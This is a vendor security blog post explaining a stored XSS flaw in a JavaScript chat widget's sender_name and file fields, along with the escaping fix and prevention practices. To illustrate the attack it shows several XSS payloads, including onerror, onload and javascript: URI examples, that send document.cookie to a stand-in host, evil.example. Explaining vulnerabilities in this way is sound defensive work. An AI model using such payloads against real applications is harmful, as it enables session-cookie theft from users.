Back to Blog
critical SEVERITY7 min read

How XSS via unescaped sender_name happens in JavaScript chat widgets and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `frontend/scripts/chat-widget.js` allowed attackers to inject arbitrary JavaScript by crafting a malicious `sender_name` field, which was interpolated directly into a DOM template string without HTML encoding. The `renderFileContent()` function compounded the risk by also inserting unsanitized `file.name` and `file.url` values into `img`, `span`, and `anchor` elements. The fix applies `AppUtils.escapeHTML()` to every user-controlled value befo

O
By Orbis AppSec
Published July 31, 2026Reviewed July 31, 2026

Answer Summary

This is a stored Cross-Site Scripting (XSS) vulnerability (CWE-79) in a JavaScript chat widget (`frontend/scripts/chat-widget.js`). The `renderMessage()` function interpolated the `msg.sender_name` field directly into an innerHTML template string without HTML encoding, and `renderFileContent()` did the same for `file.name` and `file.url`. An attacker could send a chat message with a crafted `sender_name` like `<img src=x onerror='alert(document.cookie)'>` to execute arbitrary JavaScript in every victim's browser. The fix wraps all user-supplied values with the existing `AppUtils.escapeHTML()` helper and uses `CSS.escape()` on a dynamic selector, eliminating the injection points entirely.

Vulnerability at a Glance

cweCWE-79
fixWrap all user-controlled values with AppUtils.escapeHTML() and CSS.escape() before DOM insertion
riskArbitrary JavaScript execution in every user's browser who views the poisoned message
languageJavaScript
root causemsg.sender_name and file properties interpolated into innerHTML template strings without HTML encoding
vulnerabilityStored Cross-Site Scripting (XSS)

How XSS via Unescaped sender_name Happens in JavaScript Chat Widgets and How to Fix It


Summary

A stored Cross-Site Scripting (XSS) vulnerability in frontend/scripts/chat-widget.js allowed attackers to inject arbitrary JavaScript by crafting a malicious sender_name field, which was interpolated directly into a DOM template string without HTML encoding. The renderFileContent() function compounded the risk by also inserting unsanitized file.name and file.url values into img, span, and anchor elements. The fix applies AppUtils.escapeHTML() to every user-controlled value before it touches the DOM, and uses CSS.escape() to sanitize a dynamic CSS selector.


Introduction

The frontend/scripts/chat-widget.js file is responsible for rendering incoming chat messages — including sender names, message bodies, and file attachments — directly into the browser DOM. A flaw in the renderMessage() function at line 300 created a textbook stored XSS vulnerability: while msg.message was correctly encoded via AppUtils.escapeHTML(), the msg.sender_name field at line 323 was dropped raw into an innerHTML template string. A second, equally dangerous path existed inside renderFileContent(), where file.name and file.url were interpolated without encoding into <img>, <span>, and <a> elements.

Because this is a Node.js library, the vulnerability affects every downstream application that embeds the widget — multiplying the potential blast radius far beyond a single deployment.


The Vulnerability Explained

Inconsistent Escaping in renderMessage()

The developer correctly escaped the message body but missed the sender name. Here is the vulnerable line from renderMessage() (line 300, before the fix):

// VULNERABLE — sender_name is raw user input, never encoded
<span class="message-sender">${msg.sender_name || 'User'}</span>

Compare it with the adjacent, correctly-escaped message body:

// Correct — message content IS escaped
${AppUtils.escapeHTML(msg.message)}

This inconsistency is a classic "partial fix" pattern: one field gets attention, the others are forgotten.

Unsanitized File Properties in renderFileContent()

The renderFileContent() function built HTML for both image previews and generic file attachments. Every property of the file object — file.name, file.url, and file.data — was interpolated verbatim:

// VULNERABLE image rendering
return `<img src="${file.url || file.data}" alt="${file.name}" class="message-image" />`;

// VULNERABLE file attachment rendering
<span class="file-name">${file.name}</span>
<a href="${file.url || file.data}" download="${file.name}" class="download-link">

An attacker controlling file.name could break out of the alt attribute with a payload like:

" onload="fetch('https://evil.example/steal?c='+document.cookie)

Or inject a javascript: URI into the href:

javascript:fetch('https://evil.example/steal?c='+document.cookie)

Unsafe CSS Selector Construction in updateMessageReadStatus()

A third injection point existed in updateMessageReadStatus():

// VULNERABLE — messageId is not sanitized before use in a CSS selector
const messageEl = document.querySelector(`[data-message-id="${data.messageId}"]`);

A crafted messageId containing CSS metacharacters (e.g., ") could break the selector syntax or, in some environments, cause unexpected DOM traversal behavior.

The Attack Scenario

An attacker with the ability to send a chat message (a standard capability in any chat application) sends:

{
  "sender_name": "<img src=x onerror='fetch(\"https://evil.example/c?k=\"+document.cookie)'>",
  "message": "Hey there!"
}

Every user who opens the chat window sees the message rendered. The browser executes the onerror handler, silently exfiltrating session cookies to the attacker's server. Because the message is stored server-side, the attack fires for every future visitor — making this a stored (persistent) XSS, not just a reflected one.


The Fix

1. Escaping sender_name in renderMessage()

The fix is a single, targeted wrapper around the unescaped interpolation:

// BEFORE (vulnerable)
<span class="message-sender">${msg.sender_name || 'User'}</span>

// AFTER (safe)
<span class="message-sender">${AppUtils.escapeHTML(msg.sender_name || 'User')}</span>

AppUtils.escapeHTML() was already present in the codebase and already used for msg.message — the fix simply extends its use to the forgotten field.

2. Escaping All File Properties in renderFileContent()

Four interpolation points inside renderFileContent() were updated:

// BEFORE (vulnerable)
return `<img src="${file.url || file.data}" alt="${file.name}" class="message-image" />`;

// AFTER (safe)
return `<img src="${AppUtils.escapeHTML(file.url || file.data)}" alt="${AppUtils.escapeHTML(file.name)}" class="message-image" />`;
// BEFORE (vulnerable)
<span class="file-name">${file.name}</span>
<a href="${file.url || file.data}" download="${file.name}" class="download-link">

// AFTER (safe)
<span class="file-name">${AppUtils.escapeHTML(file.name)}</span>
<a href="${AppUtils.escapeHTML(file.url || file.data)}" download="${AppUtils.escapeHTML(file.name)}" class="download-link">

Escaping the href value is particularly important: it prevents javascript: URI injection, which bypasses many naive XSS filters that only look for <script> tags.

3. Using CSS.escape() in updateMessageReadStatus()

// BEFORE (vulnerable)
const messageEl = document.querySelector(`[data-message-id="${data.messageId}"]`);

// AFTER (safe)
const messageEl = document.querySelector(`[data-message-id="${CSS.escape(String(data.messageId))}"]`);

CSS.escape() is the browser-native API for sanitizing values inserted into CSS selectors. The additional String() cast ensures the function receives a string even if data.messageId arrives as a number or other type.

Why Each Change Was Necessary

Location User-controlled value Risk removed
renderMessage() line 300 msg.sender_name HTML injection / script execution
renderFileContent() image branch file.url, file.data, file.name Attribute injection, javascript: URI
renderFileContent() file branch file.name, file.url, file.data HTML injection, javascript: URI, download attribute injection
updateMessageReadStatus() data.messageId CSS selector injection

Prevention & Best Practices

Treat Every User-Supplied Field as Tainted

The root cause here was selective escaping — the developer remembered msg.message but forgot msg.sender_name. A safer mental model is: every property on a user-supplied object is tainted until proven otherwise. When building HTML from a msg or file object, escape all fields, not just the ones you remember.

Prefer the DOM API Over innerHTML Templates

Where performance allows, use textContent and setAttribute instead of building HTML strings:

// Safer alternative — no HTML parsing, no injection risk
const senderEl = document.createElement('span');
senderEl.className = 'message-sender';
senderEl.textContent = msg.sender_name || 'User';

textContent never interprets its value as HTML, making injection structurally impossible for text nodes.

Use a Dedicated Sanitization Library for Rich Content

If the widget needs to support formatted messages (bold, links, etc.), use DOMPurify rather than a hand-rolled escape function:

import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userContent);

Add a Content Security Policy (CSP)

A strict CSP header provides defense-in-depth. Even if an XSS payload is injected, a policy like script-src 'self' prevents inline scripts and unauthorized external script loads from executing:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Lint for Unsafe innerHTML Patterns

Add ESLint with eslint-plugin-no-unsanitized to your CI pipeline. It flags any assignment to innerHTML that does not pass through an approved sanitizer, catching this class of bug before it reaches review.

Relevant Standards

  • OWASP Top 10 2021 — A03: Injection — XSS is a primary example
  • OWASP XSS Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • CWE-79: Improper Neutralization of Input During Web Page Generation

Key Takeaways

  • Partial escaping is as dangerous as no escaping. msg.message was escaped; msg.sender_name was not. An attacker only needs one unguarded field.
  • Every property of a user-supplied object is tainted. When iterating over msg or file objects in renderMessage() and renderFileContent(), all fields must be treated as hostile until encoded.
  • href and src attributes need escaping too. Injecting a javascript: URI into an <a href> or <img src> is a valid XSS vector that HTML-encoding the value directly prevents.
  • Dynamic CSS selectors require CSS.escape(). Using data.messageId raw in document.querySelector() is a lesser-known injection surface; the browser-native CSS.escape() API exists precisely for this.
  • The fix required zero new dependencies. AppUtils.escapeHTML() was already in the codebase — the vulnerability existed because it was not applied consistently.

How Orbis AppSec Detected This

  • Source: User-controlled sender_name and file object properties arriving from the chat message payload
  • Sink: Template literal assigned to innerHTML inside renderMessage() (line 300) and renderFileContent() (lines 315–327) in frontend/scripts/chat-widget.js
  • Missing control: No HTML encoding applied to msg.sender_name, file.name, file.url, or file.data before DOM insertion; no CSS.escape() applied to data.messageId before use in document.querySelector()
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • Fix: Wrapped all user-controlled interpolations with AppUtils.escapeHTML() and applied CSS.escape(String(...)) to the dynamic CSS selector

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a reminder that security is only as strong as its least-protected field. The developer did the right thing for msg.message — but stopping there left msg.sender_name and the entire file object as open injection points. A single AppUtils.escapeHTML() call per interpolation, already available in the codebase, was all that stood between a safe widget and a stored XSS that could exfiltrate session cookies from every user who opened the chat. Consistent, systematic encoding of all user-supplied values — not just the ones you remember — is the only reliable defense.


References

Frequently Asked Questions

What is stored XSS in a chat widget?

Stored XSS occurs when user-supplied content (like a chat message or display name) is saved and later rendered in other users' browsers without HTML encoding, allowing injected scripts to execute automatically when the page loads.

How do you prevent XSS in JavaScript innerHTML templates?

Always pass every user-controlled value through an HTML-escaping function (such as AppUtils.escapeHTML() or DOMPurify.sanitize()) before interpolating it into a template string that is assigned to innerHTML, or use the DOM API (textContent, setAttribute) instead.

What CWE is XSS?

XSS is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is escaping the message body enough to prevent XSS in a chat widget?

No. As this vulnerability demonstrates, escaping only msg.message while leaving msg.sender_name and file properties unescaped still creates exploitable injection points. Every user-controlled field that reaches the DOM must be encoded.

Can static analysis detect this type of XSS?

Yes. Tools like Semgrep, ESLint with security plugins, and dedicated SAST scanners can trace tainted data from network sources to innerHTML sinks and flag unescaped interpolations, which is exactly how this issue was detected.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1312

Related Articles

critical

How HTML sanitizer bypass via XMP tag passthrough happens in Node.js and how to fix it

A critical cross-site scripting (XSS) vulnerability in the sanitize-html library allowed attackers to bypass HTML sanitization through improper handling of the `<xmp>` raw-text element. This vulnerability could enable stored XSS attacks in any Node.js application using sanitize-html versions prior to 2.17.4. The fix involved upgrading the library to properly handle raw-text elements and prevent script injection.

critical

How DOM-based XSS via jQuery .html() happens in JavaScript and how to fix it

A critical DOM-based Cross-Site Scripting (XSS) vulnerability was discovered in CustomRankingInterface.js where user-imported JSON data containing malicious filter names could execute arbitrary JavaScript in victims' browsers. The fix replaces jQuery's unsafe `.html()` method with the safe `.text()` method, preventing script injection while preserving the intended functionality.

critical

How reflected XSS happens in Jinja2 template rendering and how to fix it

A reflected cross-site scripting (XSS) vulnerability was discovered in the similarity search HTML template where user input from the `query` form parameter was rendered directly into an HTML attribute without proper escaping. An attacker could inject malicious JavaScript by crafting a search query containing attribute-breaking payloads like `" onfocus="alert(document.cookie)" autofocus="`, which would execute in the victim's browser.

low

When innerHTML Meets User Data: Fixing XSS Vulnerabilities in JavaScript

A low-severity Cross-Site Scripting (XSS) vulnerability was identified in `agent_chat.js`, where user-controlled data was being passed directly into DOM manipulation methods like `innerHTML`. While rated low severity, XSS vulnerabilities can be chained with other attacks to steal session tokens, redirect users, or execute arbitrary scripts in a victim's browser. The fix eliminates the unsafe pattern by replacing direct HTML injection with safer DOM manipulation techniques.

low

From text/template to html/template: Closing the XSS Door in Go

A cross-site scripting (XSS) vulnerability was discovered and patched in a Go-based application where the `text/template` package was being used instead of the safer `html/template` package for rendering HTML content. This single-line fix — swapping one import — prevents user-controlled data from being injected as raw HTML, closing a potential attack vector for malicious script injection. While rated low severity, XSS vulnerabilities are among the most common and exploitable web security issues,

medium

Wildcard PostMessage Leak: How One Character Exposed User Sessions

A critical security flaw in a browser extension's authentication flow was sending sensitive session tokens and user data to any website using the wildcard "*" origin in postMessage. This vulnerability could have allowed malicious sites to intercept authentication credentials, but was fixed by restricting message delivery to the application's own origin.